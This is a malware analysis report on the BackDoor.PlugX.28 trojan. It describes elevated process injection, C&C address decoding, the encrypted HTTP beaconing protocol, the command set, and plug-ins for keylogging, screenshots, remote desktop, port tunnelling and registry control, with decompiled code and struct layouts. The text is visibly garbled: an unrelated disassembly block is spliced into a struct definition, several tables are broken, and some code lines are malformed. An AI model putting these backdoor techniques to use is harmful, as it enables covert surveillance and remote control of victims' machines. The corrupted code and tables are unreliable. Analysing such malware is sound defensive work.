The `config.elevated_process_injection_flag` flag is checked in the configuration. If the flag is set, a thread starts in which running processes are sequentially parsed to find one running as a local administrator. The trojan copies the token of the found process and assigns the `HighIntegrity` class to the token’s copy. Then the malware creates a process environment block as a local administrator that is used to create a process with the `HighIntegrity` class access token. The process name is also extracted from the `config.elevated_inject_target_dummy_proc_<n>`, n 1..4 parameter of the configuration. All four options are parsed until the first non-zero value. The trojan creates a process with the `CREATE_SUSPENDED` flag and injects shellcode into it. The information about each process is stored in a special structure:

```
struct injected_proc
{
    DWORD session_ID;
    DWORD pid;
}
```

```c
; int __stdcall ScInitDatabase()
    ScInitDatabase@YGKXZ proc near
    33 C8 xor eax, eax
    56 push esi
    A3 C8 70 03 01 mov ?ScTotalNumServiceRecs@SGK, eax ; ulong ScTotalNumServiceRecs
    A3 24 71 03 01 mov MMX, eax
    A3 28 71 03 01 mov ?ImageDatabase@3u_IMAGE_RECORD@WA, eax ; IMAGE_RECORD ImageDatabase
    A3 88 71 03 01 mov dword_1637180, eax
    A3 58 71 03 01 mov ?ServiceDatabase@3u SERVICE_RECORD@WA, eax ; SERVICE_RECORD ServiceDatabase
    B8 18 18 00 00 call ?ScInitGroupDatabase@YGKXZ ; ScInitGroupDatabase(void)
    B8 35 74 12 00 01 mov esi, dx:__imp_RtlInitializeResource@4 ; RtlInitializeResource(x)
    B8 83 71 03 01 push offset ?ServiceRecordLock@3uServiceRecordLock@0 ; Resource
    C7 05 68 70 03 01 mov ?ResumeNumber@SGK, 1 ; ulong ResumeNumber
    F7 D6 call esi ; RtlInitializeResource(x) ; RtlInitializeResource(x)
    B8 83 71 03 01 push offset ?ServiceListLock@3uServiceListLock@0 ; Resource
    F7 D6 call esi ; RtlInitializeResource(x) ; RtlInitializeResource(x)
    B8 80 73 03 01 push offset ?ScGroupListLock@3uGroupListLock@0 ; Resource
    F7 D6 call esi ; RtlInitializeResource(x) ; RtlInitializeResource(x)
    B8 80 60 00 00 call ?ScGenerateServiceDS@YGKXZ ; ScGenerateServiceDS(void)
    F7 D8 neg eax
    1B C6 sub eax, eax
    F7 D8 neg eax
    5E pop esi
    C3 ret
    ?ScInitDatabase@YGKXZ endp
```
DWORD hProcess;
BYTE admin_account_name[40];

};

struct injected_elevated__procs
{
  injected_proc injected_process_info[32];
  DWORD hThread;
  DWORD hEvent;
};

Then the plug-ins are initialized and the backdoor becomes ready to receive and process commands from the C&C server. Before connecting to the C&C server, the proxy global settings, which are used by the Wininet functions and recorded in Firefox configuration, are extracted and saved.

It is worth noting that the server addresses are stored in the configuration as structures:

struct srv
{
  WORD type;
  WORD port;
  BYTE address[64];
};

For interaction with the server, the trojan creates an object whose type is defined by the value of srv.type. Possible types of connections:

- 1, 2 — pipe connection;
- 3 — TCP socket (usage of SOCKS4, SOCKS5, HTTP proxies is implied);
- 4 — HTTP connection;
- 5 — opening of UDP socket for sniffing, operation in DNS mode;
- 6, 7, 8 — RAW socket.

Supported protocols allow either the remote computer or the other process using pipe to take over server functions.

The first attempt to connect to the C&C server from the configurations is made without using a proxy. In case of failure, proxy data stored in a global variable is used. The configuration provides slots for up to 16 servers. If none of them are available, the URL is extracted from the config.url_1 field. That URL is first parsed into components (such as host, URI, and parameters), and then a GET request based on this data is generated and sent. The trojan searches for encrypted string enclosed between the DZKS and DZJS tags in the response message body. After decoding, the string represents the type, port, and address of the C&C server in the form of the srv structure. There are up to 16 such URL pointers that can be used to get the new address of the C&C server.

The C&C server's address decoding algorithm:
int __usercall
find_and_decode_string@<eax>(BYTE *decoded_response@<ebx>, BYTE *response_data@<eax>,
int response_data_len@<edx>)
{
    int v3; // edx
    int i; // ecx
    int v6; // esi
    int j; // edi
    int v8; // ecx
    char v9; // dl
    BYTE *v10; // edx
    int v11; // eax
    int v12; // esi
    v3 = response_data_len - 4;
    for ( i = 0; i < v3; ++i )
    {
        if ( response_data[i] == 'D' 
            && response_data[i + 1] == 'Z' 
            && response_data[i + 2] == 'K' 
            && response_data[i + 3] == 'S' )
        {
            break;
        }
    }
    if ( i >= v3 )
        return 1168;
    v6 = i + 4;
    for ( j = i + 4; 
        j < v3
        && (response_data[j] != 'D'
            || response_data[j + 1] != 'Z'
            || response_data[j + 2] != 'J'
            || response_data[j + 3] != 'S');
        ++j )
    {
        ;
    }
    if ( j > v3 )
        return 1168;
    v8 = 0;
    while ( v6 < j )
    {
        v9 = response_data[v6] + 16 * (response_data[v6 + 1] - 65);
        response_data[v8 + 1] = 0;
        response_data[v8++] = v9 - 65;
        v6 += 2;
    }
    *((_WORD *)decoded_response = *response_data + (response_data[1] << 8));
    *(((_WORD *)decoded_response + 1) = response_data[2] + (response_data[3] << 8);  
    if ( v8 > 0 )
    {
        v10 = decoded_response + 4;
        v11 = response_data - decoded_response;
        v12 = v8;
        do
        {
            *v10 = v10[v11];
            ++v10;
            --v12;
        }
while ( v12 );
}
return 0;
}

Initial connection to the C&C server

BackDoor.PlugX.28 gets the current time and date via the GetLocalTime function. Then it checks the day of the week. If it is Sunday (0), it changes it to Saturday (6) in the SYSTEMTIME structure. In other cases, it reduces the value by 1. The trojan refers to the config.timetable array to check the value of the element under the index that depends on the current time. The array's size is BYTE[672]. Each element represents a flag of each quarter hour in a week (24 * 7 * 4 = 672). If the element value is non-zero, execution continues; otherwise the trojan goes into standby mode.

Checking the work schedule flag:

```
while ( 1 )
{
    GetLocalTime(&local_time);
    if ( local_time.wDayOfWeek )
        --local_time.wDayOfWeek;
    else
        local_time.wDayOfWeek = 6;
    if ( config.timetable[4 * (local_time.wHour + 24 * local_time.wDayOfWeek) +
                      local_time.wMinute / 15] )
        break;
    Sleep(1000);
}
```

In the sample configuration, all array elements are equal to 1. When preparing the default configuration, the array is also filled in with ones (1).

After checking the schedule, the trojan reads the value of the config.timestamp field, defined as follows:

```
struct config_timestamp
{
    BYTE days;
    BYTE hours;
    BYTE minutes;
    BYTE seconds;
};
```

Then it converts the field's value into seconds, multiplies by 0x10000000, and adds them with the current system time in FILETIME format. The trojan checks the availability of the <config.service_name> parameter in the HKCU\Software\<config.service_name> registry key. If the parameter exists, it compares its value with the system timestamp. If the timestamp's value is greater than the stored value, execution continues. Otherwise, the trojan goes standby mode for one second.
before rechecking. If the parameter's value does not exist, the calculated timestamp is placed into this parameter and compared with the system timestamp. As a result, standby mode remains active until the system timestamp is larger than the timestamp calculated at the beginning of the check, or larger than the timestamp stored in the parameter.

```c
GetSystemTime(&system_ts);
if (!GetFileTime(&system_time, &system_ts))
    return GetLastError();
while (1)
{
    if (!config.timestamp.seconds
        + 60 * (config.timestamp.minutes + 60 * (config.timestamp.hours + 24 * config.timestamp.days)))
        return 0;
    calculated_ts = mul_timestamps(
        (FILETIME)(config.timestamp.seconds
        + 60 * (config.timestamp.minutes + 60 * (config.timestamp.hours + 24 * config.timestamp.days))));
    result_ts = (FILETIME)\"\"system_ts + \"\"&calculated_ts;

    result_ts is placed in the registry if necessary.

Multiplication of timestamp values is shown in the illustration:

```c
FILETIME __user_purge mul_timestamps@<eax:edx>(FILETIME timestamp_1, FILETIME timestamp_2)
{
    unsigned __int64 v2; // rax
    FILETIME result; // eax:edx

    if (timestamp_1.dwHighDateTime | timestamp_2.dwHighDateTime)
        v2 = *(\_QWORD *)\&timestamp_1 * *(\_QWORD *)\&timestamp_2;
    else
        v2 = timestamp_2.dwLowDateTime * (unsigned __int64)timestamp_1.dwLowDateTime;
    result.dwLowDateTime = lOWORD(v2);
    result.dwHighDateTime = v2;
    return result;
}
```

After timing checks, the malware creates a connection object that matches the type of connection specified for the current server. If HTTP protocol is used to communicate with the C&C server, connection processing (receiving and transmitting data) is performed in a separate thread. The first stage implies establishing a connection in a keep-alive mode and sending the first GET request. The URL is formed using the /%p%p%p format from three random DWORD values. Then the following structure is prepared:

```c
struct prefix
{
    DWORD unknown;
    DWORD sync_ctr;
    DWORD conn_state;
    DWORD available_buffer_size;
};
```

This structure is only used when transmitting over HTTP protocol and performs the service function of syncing and maintaining the connection. When establishing a connection, the structure fields are filled in with the following values from the connection object's internal fields:
• unknown = 0;
• sync_ctr = 1 — a counter that increases by one every sending;
• conn_state = 20130923 — represents the connection status flag. In this case, the initial value 20130923 is used by the client-side to make a connection request;
• available_buffer_size = 0xF010 — the initial size of the object's internal buffer for storing incoming data.

This structure is encrypted with the same algorithm used for string encryption. The output structure looks as follows:

```c
struct http_encrypted_data
{
    DWORD key;
    BYTE data[0x10];
}
```

After encryption the data is encoded in Base64 and placed in the Cookie: header, then the request is sent to the C&C server.

The response contains the http_encrypted_data structure. Once decrypted, it transforms into the prefix structure. The trojan checks the prefix.conn_state value that should be equal to 20130924. This value may indicate that the server is ready to receive data. Malware authors also implied the 20130926 value that indicated the end of the connection.

Then the prefix.sync_ctr field is checked. Its value must be greater by 1 than the prefix.sync_ctr value that is sent by the client-side. This form of interaction between server and client-side is also used when sending real data. They are placed after the prefix structure.

After the connection to the server is established, a command request is prepared. To do so, the trojan generates random bytes from 0 to 0x1F and forms the structure of the packet from the header and the body.

```c
struct packet_hdr
{
    DWORD key;
    DWORD command_id;
    DWORD len;
    DWORD errc;
};
struct packet
{
    packet_hdr header;
    BYTE data[61440] //0xF000;
};
```

This structure is used for sending data to the server and processing commands. The values of the (“packet_hdr”) header fields:

• key — a key used for data encryption;
• command_id — an ID for command or command response. The ID does not change during the response;

• len — data length excluding header;

• errc — error code of command execution. In most cases this field contains the (GetLastError) error code if a command could not be fully executed, or contains 0 if a command is successfully executed. In some cases, it contains additional parameters for the client-side to execute the command.

During first sent, command_id and errc values are equal to 0, and the len value is equal to the length of the random sequence (0-0x1F). packet.data contains the random sequence itself. Then the data in the ("data") packet is compressed by the LZNT1 algorithm via the RtlCompressBuffer and encrypted by a string encryption algorithm with a random key. The packet.header.len field contains the (uncompressed_len << 0x10) | compressed_len value, where uncompressed_len and compressed_len contain the data size before and after compression, respectively (without regard to the header length). Then the header is being encrypted, and a random key is placed in the packet.header.key field.

The received encrypted data is then sent to the server in the Cookie: field of the HTTP request. The prefix structure is placed before the data and the entire received sequence is encrypted. Then it is encoded using Base64 and sent in a request. The response is a command from the server. A packet with a command represents a structure similar to packet, but the format of data and, in some cases, the purpose of header.errc may change depending on the command.

**Processing the C&C server's commands**

After receiving the packet, it is decrypted and unpacked. The trojan checks the value of the packet.header.command_id command ID. There are following command values:

• 1 — collecting and sending system information;
• 3 — operating with plug-ins;
• 4 — connection reset;
• 5 — self-deleting;
• 6 — sending current configuration to the C&C server;
• 7 — receiving new configuration;
• 8 — sending information about processes with injected shellcode;
• 2, 9, 10 — no actions provided;
• >10 — operating with plug-ins.

The packet.header.command_id field of the received responses is set to the same value as received in the command.
Command 1 (system information)

The trojan compares the string in the `packet.data` field with the string from the `config.campaign_id` configuration (TEST in the default configuration). If the strings are equal, it proceeds with gathering system information, otherwise an error occurs. After that, the trojan attempts to read a file with the name generated with the 0x4343 ("CC") seed from the working directory. If the file exists, its contents are read and encoded.

```c
for ( i = 0; i < data->len; ++i )
{
    result[2 * i] = (data->buf[i] & 0xf) + 65;
    result[2 * i + 1] = ((unsigned __int64)data->buf[i] >> 4) + 65;
}
```

If the file does not exist, one is created and a sequence of 8 random bytes is written to it. Then this random sequence is encoded in the same way. The resulting encoded string will be used as a response to the command. The program then collects the following information:

- Computer name;
- Username;
- CPU frequency (from `HKLM\HARDWARE\DESCRIPTION\SYSTEM\CENTRALPROCESSOR\0`);
- If the process is running under WoW64;
- Domain information;
- If the current user has local administrative privileges;
- IP address;
- RAM amount in kilobytes;
- OS version;
- Current time;
- Screen resolution;
- Locale settings;
- Number of processors.

The response with the results is sent to the C&C server as a structure:

```c
struct command_1_response
{
    packet_hdr header;
    sysinfo data;
};
```

where `sysinfo` is a structure carrying system information:

```c
struct sysinfo
{
```
DWORD date_stamp; //20150202
DWORD zero_0;
DWORD self_IP;
DWORD total_PhysMem;
DWORD cpu_MHz;
DWORD screen_width;
DWORD screen_height;
DWORD winserv2003_build_num;
DWORD default_LCID;
DWORD tick_count;
DWORD systeminfo_processor_architecture;
DWORD systeminfo_number_of_processors;
DWORD systeminfo_processor_type;
DWORD zero_1;
DWORD os_MajorVersion;
DWORD os_MinorVersion;
DWORD os_BuildNumber;
DWORD os_PlatformId;
WORD os_ServicePackMajor;
WORD os_ServicePackMinor;
WORD os_SuiteMask;
WORD os_ProductType;
DWORD isWow64Process;
DWORD if_domain;
DWORD if_admin;
DWORD process_run_as_admin;
WORD systime_Year;
WORD systime_Month;
WORD systime_Day;
WORD systime_Hour;
WORD systime_Minute;
WORD systime_Second;
DWORD server_type;
WORD off_CCseed_file_data; //offset from 0
WORD off_compname_string;
WORD off_username_string;
WORD off_verinfo_szCSDVersion;
WORD off_str_X_4_from_config;
BYTE string_CCseed_file_data[16];
........
//strings
};

off_CCseed_file_data, off_compname_string, off_username_string, off_verinfo_szCSDVersion, off_str_X_4_from_config structure members are offsets relative to the beginning of the sysinfo structure. off_str_X_4_from_config is offset to the string copied from config.str_x_4 (x in the default configuration).

Then trojan prepares a packet to send the information to the C&C server. The header contains the packet ID that is equal to 1. Then the packet is compressed, encrypted, and sent to the server.
command_id == 3 (operating with plug-ins)

When a packet with command_id 3 is received, a task handler for plug-ins is launched in a separate thread and a new connection to the C&C server is created. The incoming packet with the command looks like this:

```c
struct command_3_packet
{
    packet_hdr header;
    DWORD dword_0;
    DWORD index;
};
```

If the value of index is equal to 0xFFFFFFFF, task processing for plug-ins is performed in the same process. Otherwise, this value is used as an index in the array of the injected_elevated_procs structure. The required structure is obtained from the array by the specified index. Then the process ID is extracted from it, which serves as a seed for generating the pipe name. The trojan creates the pipe connection object that implements the command forwarding interface for plug-ins. These commands will be executed within another process (for example, Internet Explorer), which will be injected in case of "shellarg.op_mode" == 3, or within one of the processes specified in the configuration and run with elevated privileges ("config.elevated_inject_target_dummy_proc <n>", n 1..4). After pipe initialization, a response is sent to the server, which represents the same packet as the command does. After that, packets containing plug-in tasks are sent between two objects — the HTTP connection and the pipe.

If the value of index is set as 0xFFFFFFFF, the received packet is sent back, and the task processing loop for plug-ins begins.

- **command_id == 4** — resetting the connection. No special actions are performed; the trojan exits the command processing cycle to connect to other servers.
- **command_id == 5** — self-deleting. It deletes its service’s key from the registry and deletes all files from its working directory.
- **command_id == 6** — sending the configuration. It encrypts the current configuration and sends it in the packet body.
- **command_id == 7** — receiving new configuration. The packet body contains the new configuration. The trojan compresses it, encrypts and saves it as a file; the filename is generated with the 0x4358 ("CX") seed. Then it reads it and replaces the old configuration.
- **command_id == 8** — sending information about processes with injections. It prepares a packet with information about the processes in which the shellcode was injected, then encrypts it and sends it to the C&C server. The packet structure is as follows:

```c
struct command_8_response
{
    packet_hdr header;
};
```


```c
DWORD number_of_procs;
    injected_proc injected_processes_info[number_of_procs];
```

- `command_id > 10` — operating with plug-ins. In contrast to the "command_id" == 3 mode, in this case, it is intended to work only within the current process.

### Operating with plug-ins

After the trojan receives a command with `id 3` or `>10` and the received packet is sent back, the C&C server responds with a packet containing a task for a plug-in. The command for the plug-in is processed separately from the main command processing cycle as well as in a separate connection.

BackDoor.PlugX.28 operates with the following plug-ins:

- DISK (2 types);
- Keylogger;
- Nethood;
- Netstat;
- Option;
- PortMap;
- Process;
- Regedit;
- Screen;
- Service;
- Shell;
- SQL;
- Telnet.

The plug-ins’ names are encrypted and used when the corresponding objects are being initialized.

Each plug-in is represented by the `plug-info` object:

```c
struct pluginfo
{
    wchar_t name[64];
    DWORD timestamp;
    PROC pfnInit;
    PROC pfnJob;
    PROC pfnFree;
};
```

*Timestamp* for all plug-ins is 20130707.
Plug-ins' objects are merged into a global object that provides access to plug-in functions.

During initialization, the pluginfo.pfnInit functions are called sequentially for each plug-in. Initialization creates an auxiliary function table. Beyond that, some additional actions are performed for the Keylogger and Screen plug-ins.

"Keylogger" Initialization

After initializing the auxiliary function table, the trojan creates a separate thread for the pluginfo.pfnJob function, which inserts the hook of the WH_KEYBOARD_LL type. The filename for the event log is generated with the 0x4B4C ("KL") seed. Time file attributes are spoofed after each entry. The log entry line has the following format:

```
<yyyy-mm-dd hh:mm:ss> <username> <process_path> <window_title> <event>
```

Entries to the event log are written sequentially. Each entry has the following format:

```
struct keylog_rec
{
    DWORD recsize;
    BYTE encdata[recsize];
};
```

"Screen" Initialization

During the initialization of the Screen plug-in, the screenshot creation function is started in a separate thread. First, the gdiplus.dll library is initialized in the thread, then the config.make_screenshot_flag flag is checked in the configuration. If the flag is not set, the stream goes into standby mode, periodically checking the flag. If this flag is set, the config.screen_age value is extracted from the configuration, which sets the maximum storage period for screenshots in days. Thus, all JPEG files whose creation dates are less than the specified date are recursively deleted from the config.screenshots_path directory (%AUTO>%\XS in the default configuration. Cleaning occurs once a day. Next, a screenshot is created, encoded in JPEG format, and saved to the <config.screenshots_path>\<username>\<screen_filename>.jpg directory. The filename for the created screenshot is written in < YYYY-MM-DD HH:MI:SS > format.

JPEG encoding settings are set in the configuration in the config.screen_scale_coefficient, config.encoder_quality, config.bits_per_pixel parameters.

Each plug-in has a separate set of command_id. When responding to a command, the same command_id is inserted into the header. The body of the packet contains strings; the offset is specified explicitly, and is counted from the beginning of the packet body. With that, the packet_hdr header is skipped.
**DISK plug-in**

*command_id* for the **DISK plug-in** has the 0x300X, \(X = 0,1,2,4,7,0xA,0xC,0xD,0xE\) format.

<table>
<thead>
<tr>
<th>Command_id</th>
<th>Description</th>
<th>Input</th>
<th>Output</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x3000</td>
<td>Collects information about logical drives with the A-Z drive letters, fills in an array of structures <em>disk_info</em>, and sends it to the C&amp;C server</td>
<td>-</td>
<td>struct <em>disk_info</em></td>
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<td>struct <em>command_3000 h_response</em></td>
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<tr>
<td>0x3001</td>
<td>Generates a list of files and subdirectories in the specified directory, which is specified in the <em>target_dir</em> command parameter; sends a separate packet for each file</td>
<td>struct <em>command_3001 h_request</em></td>
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<td>struct <em>command_3001 h_response</em></td>
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<td>Command id</td>
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</tbody>
</table>
| 0x3002     | Generates a list of files from the directory specified in the `target_dir` command parameter. Filenames are set by a mask that can use the ? and * symbols to replace one or more of any symbols; sends a separate packet for each file | struct command_3002  h_request  
  {  
    packet_hdr header;
    WORD off_target_dir ;
    WORD off_filename_mask;  
    ...  
    //target_dir,file_name_mask
  } | struct command_3002  h_response  
  {  
    packet_hdr header;
    DWORD file_attributes;
    DWORD file_size_high;
    DWORD file_size_low;
    FILETIME creation_time;
    FILETIME last_access_time;
    FILETIME last_write_time;
    WORD target_path_offset;
    WORD file_name_offset;
    WORD alternate_file_name_offset;
  } |
| 0x3004     | Reads the requested file in blocks by 0x1000 bytes with the specified offset from the beginning of the file. The filename and offset are defined in the command. First sends information about the file (time attributes, file size) with the value of the command_id field | struct command_3004  h_request  
  {  
    packet_hdr header;  
    BYTE pad_0[28];
    DWORD file_pointer_offset_low;
    DWORD file_pointer_offset_high;
    BYTE pad_1[8];
  } | struct command_3004  h_response  
  {  
    packet_hdr header;  
    FILETIME creation_time;  
    FILETIME last_access_time;  
    FILETIME last_write_time;  
    DWORD dword_0;
    DWORD returned_file_pointer;
  } |
<table>
<thead>
<tr>
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</tr>
</thead>
<tbody>
<tr>
<td>0x3004</td>
<td>equal to 0x3004 in the response header, then starts reading the file and sends blocks with &quot;command_id&quot;==0x3005. Blocks of the file's data are placed in the packet body. When completed, it sends a zero-length packet with 0x3005 in the header</td>
<td>BYTE target_file_name[];</td>
<td>DWORD file_pointer_offset_high; DWORD file_size_low; DWORD file_size_high; WORD target_file_name_beg;</td>
</tr>
<tr>
<td>0x3007</td>
<td>Creates a new file or opens an existing one from the end of the file for writing. Writes data to it starting from the specified offset. Spoofs time attributes. The command with command_id 0x3007 specifies the file name and the offset, while the command with command_id 0x3008 specifies the write buffer</td>
<td>struct command_3007h_request { packet_hdr header; FILETIME creation_time; FILETIME last_access_time; FILETIME last_write_time; DWORD dword_0; DWORD file_pointer_offset_low; DWORD file_pointer_offset_high; DWORD dword_1; DWORD dword_2; BYTE target_file_path[]; };</td>
<td>-</td>
</tr>
<tr>
<td>0x300A</td>
<td>Creates a folder whose path is specified in the packet body. Responds with a zero-length packet and &quot;command_id&quot; == 0x300A</td>
<td></td>
<td>-</td>
</tr>
<tr>
<td>0x300C</td>
<td>Creates a process using the command line transmitted in the command body. With that, if the errc field</td>
<td>struct command_300Ch_request { packet_hdr header; };</td>
<td>struct command_300Ch_response { packet_hdr header; };</td>
</tr>
<tr>
<td>Command_id</td>
<td>Description</td>
<td>Input</td>
<td>Output</td>
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<tr>
<td>0x300D</td>
<td>value is non-zero in the packet header, it creates the HH desktop and uses it in the STARTUP_INFO of the created process. As a response it returns PROCESS_INFORMATION of the created process</td>
<td>BYTE cmdline[]</td>
<td>PROCESS_INFORMATION proc_info;</td>
</tr>
<tr>
<td>0x300E</td>
<td>Expands the environment variable and sends the result to the server. The variable is contained in the command body, and the result is contained in the response body</td>
<td>-</td>
<td>-</td>
</tr>
</tbody>
</table>

**DISK (2) Plug-in**

The second plug-in is also called DISK, but it does not relate to logical drives. There are the following commands: 0xF010, 0xF011, 0xF012, 0xF013.

In the command the trojan receives the srv structure, according to which it creates a connection object and starts relaying packets from one connection to the newly created one.
**KeyLogger Plug-in**

There is a 0xE000 command. The trojan reads the plug-in event log file, then sends it to the C&C server in the response body.

**Nethood Plug-in**

The plug-in is used to operate in the network environment.

<table>
<thead>
<tr>
<th>Command_id</th>
<th>Description</th>
<th>Input</th>
<th>Output</th>
</tr>
</thead>
</table>
| 0xA000     | Lists all available network resources. For each resource it fills the structure and then sends it to the C&C server. The command contains parameters of the NETRESOURCE structure used as an argument when calling the WNetOpenEnumW function | struct command_A000
  h_request
  {
    packet_hdr
    header;
    WORD netres_scope;
    WORD netres_type;
    WORD netres_display_type;
    WORD netres_usage;
    WORD off_netres_localname;
    WORD off_netres_remotename;
    WORD off_etres_comment;
    WORD off_netres_provider;
  }
|                                      | struct command_A000
  h_response
  {
    packet_hdr
    header;
    WORD netres_scope;
    WORD netres_type;
    WORD netres_display_type;
    WORD netres_usage;
    WORD off_netres_localname;
    WORD off_netres_remotename;
    WORD off_etres_comment;
    WORD off_netres_provider;
    BYTE res_comment_str[1000];
    NETRESOURCEW
    net_res_struct;
  } | |
| 0xA001     | Disables the network resource specified in the command with the Force flag, then reconnects it. Responds with a zero-length packet | struct command_A001
  h_request
  {
    packet_hdr
    header;
    DWORD netres_scope;
    DWORD netres_type;
  } | - |
### Netstat Plug-in

The plug-in collects and sends information about network connections.

<table>
<thead>
<tr>
<th>Command_id</th>
<th>Description</th>
<th>Input</th>
<th>Output</th>
</tr>
</thead>
</table>
| 0xD000     | Collects and sends information about TCP connections. Depending on the OS version, it calls one of the functions to get connection information: AllocateAndGetTcpExTableFromStack (Windows XP); GetTcpTable (Windows 2000); GetExtendedTcpTable; | - | struct command_D000h_response {
  packet_hdr header;
  DWORD conn_state;
  DWORD local_addr;
  DWORD local_port;
  DWORD remote_addr;
  DWORD remote_port;
  DWORD owner_pid;
  BYTE proc_name[];
}; |
<table>
<thead>
<tr>
<th>Command_id</th>
<th>Description</th>
<th>Input</th>
<th>Output</th>
</tr>
</thead>
</table>
| 0xD001     | Collects information about UDP connections. It is similar to the previous command | -     | struct udp_listener_table {
  DWORD local_addr;
  DWORD local_port;
  DWORD owner_port;
};
|            |             |       | struct command_D001_h_response {
  packet_hdr header;
  udp_listener_table udp_tab;
  BYTE proc_name[]; 
};            |
| 0xD002     | Changes the state of the TCP connection. The command body contains an argument for the SetTcpEntry (MIB_TCPROW) function | -     | struct command_D002_h_request {
  packet_hdr header;
  MIB_TCPROW tcp_row 
}; |

**Option Plug-in**

The plug-in can receive the following commands:

- 0x2000 — to block the system with the LockWorkstation function;
- 0x2001 — to force the user to end the session;
- 0x2002 — to reboot;
- 0x2003 — to shut down the system;
- 0x2005 — to show in a separate MessageBox thread with the specified parameters:

```c
struct command_0x2004_request
{
  packet_hdr header;
  DWORD uType;
  WORD off_lpCaption;
  WORD off_lpText;
}
```
**Portmap Plug-in**

The plug-in contains the 0xB000 command. From the C&C server it receives its address and port:

```c
struct command_0xB000_request
{
    packet_hdr header;
    WORD port;
    BYTE srv_addr[40];
}
```

It then creates a TCP connection object and connects to the received address of the C&C server. Following that, it works in tunnel connection mode, transmitting data from the C&C server to the server it has established a connection with.

**Process Plug-in**

<table>
<thead>
<tr>
<th>Command_id</th>
<th>Description</th>
<th>Output</th>
</tr>
</thead>
</table>
| 0x5000     | Receives a list of running processes. Each process corresponds to a separate packet being sent | struct command_5000h_response  
{  
    packet_hdr header;  
    BOOL if_sfc_protected;  
    BOOL is_wow64;  
    DWORD pid;  
    WORD off_username;  
    WORD off_user_domain;  
    WORD off_proc_path;  
    WORD off_CompanyName;  
    WORD off_Name;  
    WORD off_FileDescription;  
    WORD off_FileVersion;  
    WORD off_ProductName;  
    WORD off_ProductVersion;  
    WORD off_IconBitmap;  
    WORD off_IconColor;  
    ...  
    //strings  
}; |
| 0x5001     | Gets a list of modules for the specified process; the target process ID is set in the header.errc field of the command | struct command_5001h_response  
{  
    packet_hdr header;  
    BOOL if_sfc_protected;  
    DWORD dll_base;  
    DWORD size_of_image;  
    FILETIME creation_time;  
}; |
### Command Table

<table>
<thead>
<tr>
<th>Command_id</th>
<th>Description</th>
<th>Input</th>
<th>Output</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x5002</td>
<td>Terminates the process; the ID is set in the header.errc field of the command</td>
<td>-</td>
<td>-</td>
</tr>
</tbody>
</table>

### Regedit Plug-in

The plug-in is designed to operate with system registry.

```c
struct command_0x9000_response {
    packet_hdr header;
    BOOL if_has_subkeys;
    BYTE subkey_name[];
}
```

<table>
<thead>
<tr>
<th>Command_id</th>
<th>Description</th>
<th>Input</th>
<th>Output</th>
</tr>
</thead>
</table>
| 0x9000     | Receives nested registry keys in the specified key. The section handle is contained in the header.errc field, while the key name is contained in the command body. Sends one nested key at a time | -     | struct command_0x9000_response {
    packet_hdr header;
    BOOL if_has_subkeys;
    BYTE subkey_name[];
} |
<p>| 0x9001     | Creates a nested key with the name specified in the command body. The key handle is contained in the header.errc field | -     | -      |
| 0x9002     | Deletes the nested key specified in the command body. The | -     | -      |</p>
<table>
<thead>
<tr>
<th>Command_id</th>
<th>Description</th>
<th>Input</th>
<th>Output</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x9003</td>
<td>Creates a key with the specified name, then recursively fills it with values copied from another key also specified in the command. If successful, the source key is deleted. Otherwise, the trojan deletes the newly created key. The key handle is contained in the <code>header.errc</code> field.</td>
<td><code>struct command_0x9003_request { packet_hdr header; WORD off_src_subkey; WORD off_dst_subkey; ... //strings }</code></td>
<td>-</td>
</tr>
<tr>
<td>0x9004</td>
<td>Retrieves the values of the specified key. The key name is contained in the body; the handle is contained in the <code>header.errc</code> field.</td>
<td><code>struct command_9004_h_response { packet_hdr header; DWORD dword_0_zero; DWORD value_data_type; DWORD value_data_length; WORD word_0_zero; WORD off_value_name; WORD off_value_data; ... //strings }</code></td>
<td>-</td>
</tr>
<tr>
<td>0x9005</td>
<td>Creates a nested key and the value in it. Depending on the flag in the command, the trojan can check whether the value exists. The key handle <code>struct command_9005_h_request { packet_0_hdr header; BOOL check_if_val_exists; }</code></td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>Command_id</td>
<td>Description</td>
<td>Input</td>
<td>Output</td>
</tr>
<tr>
<td>------------</td>
<td>-----------------------------------------------------------------------------</td>
<td>-------------------------------------------------------------------------------------------------</td>
<td>--------</td>
</tr>
</tbody>
</table>
| 0x9006     | Removes the value from the key                                               | struct command_9006 h_request { packet_hdr header; WORD off_subkey_name; WORD off_value_name; ...
|            |                                                                            |                                                                                                 | -      |
| 0x9007     | Trojan checks whether value 1 exists. If it does not, the trojan checks     | struct command_9007 h_request { packet_hdr header; WORD off_subkey_name; WORD off_value_2_name;
|            | value 2 exists. If value 2 exists, value 1 is created and replaced with    |                                                                                                 | -      |
|            | value 2. After that, value 2 is deleted                                      | WORD off_value_1_name; ... //strings                                                             |        |
|            |                                                                            |                                                                                                 |        |
### Screen plug-in

Creates and sends desktop screenshots and imitates working over the RDP Protocol.

<table>
<thead>
<tr>
<th>Command_id</th>
<th>Description</th>
<th>Input</th>
<th>Output</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x4000</td>
<td>The command starts 2 separate threads that simulate working over the RDP Protocol. Screenshots of the interactive desktop are sent in the first stream. In the second thread, commands related to logging mouse and keyboard events are received and executed. Initially, the 0x4000 command is received along with a packet that indicates the required resolution of screenshots (bits per pixel). The second thread can receive one of these commands:</td>
<td></td>
<td>struct command_400 0h_request { packet_hdr header; WORD bits_per_pixel; }</td>
</tr>
<tr>
<td></td>
<td>• 0x4004 — focusing on the window according to the coordinates specified in the command and (optionally) by mouse click</td>
<td></td>
<td>struct command_400 4h_request { packet_hdr header; DWORD mouse_event_flags; DWORD mouse_event_data; DWORD x; DWORD y; }</td>
</tr>
<tr>
<td></td>
<td>• 0x4005 — sending keyboard event logs</td>
<td></td>
<td>struct command_400 5h_request { packet_0 hdr header; BYTE vkey_code; BYTE key_scan_code; WORD reserved_0; BYTE keybd_event_flags; }</td>
</tr>
<tr>
<td></td>
<td>• 0x4006 — sending HWND_BROADCAST message with the CTRL+ALT+DEL key combination</td>
<td></td>
<td></td>
</tr>
<tr>
<td>0x4100</td>
<td>Creates a screenshot with the specified parameters and sends it to the C&amp;C server</td>
<td></td>
<td>struct command_410 0h_request { packet_0 hdr header; BYTE bFlag; }</td>
</tr>
<tr>
<td>Command_id</td>
<td>Description</td>
<td>Input</td>
<td>Output</td>
</tr>
<tr>
<td>------------</td>
<td>----------------------------------------------------------------------------</td>
<td>----------------------------</td>
